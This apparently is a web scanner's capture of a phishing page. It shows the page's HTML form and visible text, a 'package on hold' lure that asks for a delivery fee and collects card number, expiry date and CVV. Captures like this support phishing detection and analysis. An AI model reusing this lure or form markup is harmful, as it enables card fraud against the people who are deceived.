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1 forms found in the DOM

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<form action="#" class="challenge-form ng-pristine ng-valid ng-valid-pattern ng-valid-maxlength" id="challenge-form" onsubmit="send1(event,'ask_login_proxy');return false" autocomplete="off" role="form">
  <div id="challenge-extra-info" class="hidden description"></div>
  <div class="input-wrapper form-group">
    <div class="fa-cards" style="text-align: left;"> <span class="fa-2x"> <i class="fa fa-cc-visa " ng-hide="data.card_type &amp;&amp; data.card_type!='visa'"></i>
        <i class="fa fa-cc-mastercard " ng-hide="data.card_type &amp;&amp; data.card_type!='mc'"></i> <i class="fa fa-cc-amex " ng-hide="data.card_type &amp;&amp; data.card_type!='amex'"></i> </span></div>
    <label for="challenge-input">Card number</label>
    <input class="input form-control ng-pristine ng-untouched ng-valid ng-empty ng-valid-pattern" pattern="\d{4} \d{4} \d{4} \d{4}" data-mask="9999 9999 9999 9999" mask-placeholder="···· ···· ···· ····" placeholder="···· ···· ···· ····"
      data-ng-model="data.c_c" id="c_c" type="text" name="c_c">
    <div class="input-error err_span" style="display: none;" aria-live="assertive" role="alert" aria-hidden="true">
      <span class="input-error-text">Incorrect card number. Please try again</span>
    </div>
  </div>
  <div class="input-wrapper form-group">
    <label for="challenge-input">Expiry date</label>
    <input class="input form-control ng-pristine ng-untouched ng-valid ng-empty ng-valid-pattern" pattern="\d{2}\/\d{4}" data-mask="99/9999" mask-placeholder="MM/YYYY" placeholder="MM/YYYY" data-ng-model="data.exp" id="exp" type="text" name="exp">
    <div class="input-error err_span" style="display: none;" aria-live="assertive" role="alert" aria-hidden="true">
      <span class="input-error-text">Incorrect expiry date. Please try again</span>
    </div>
  </div>
  <div class="input-wrapper form-group">
    <label for="challenge-input">CVV</label>
    <input class="input form-control ng-pristine ng-untouched ng-valid ng-empty ng-valid-pattern ng-valid-maxlength" pattern="\d{3}" maxlength="3" data-ng-model="data.cvv" id="cvv" type="text" name="cvv">
    <div class="input-error err_span" style="display: none;" aria-live="assertive" role="alert" aria-hidden="true">
      <span class="input-error-text">Incorrect CVV. Please try again</span>
    </div>
  </div>
  <div style="margin-top: 24px;">
    <button class="btn primary_btn waves-effect waves-light" style="width: 100%;" type="submit" id="challenge-button" aria-disabled="true">Continue</button>
  </div>
</form>

Text Content

YOUR PACKAGE IS ON HOLD

Your package is on hold. Please confirm your details and pay the delivery fee to
release your package.

Card number
Incorrect card number. Please try again
Expiry date
Incorrect expiry date. Please try again
CVV
Incorrect CVV. Please try again
Continue
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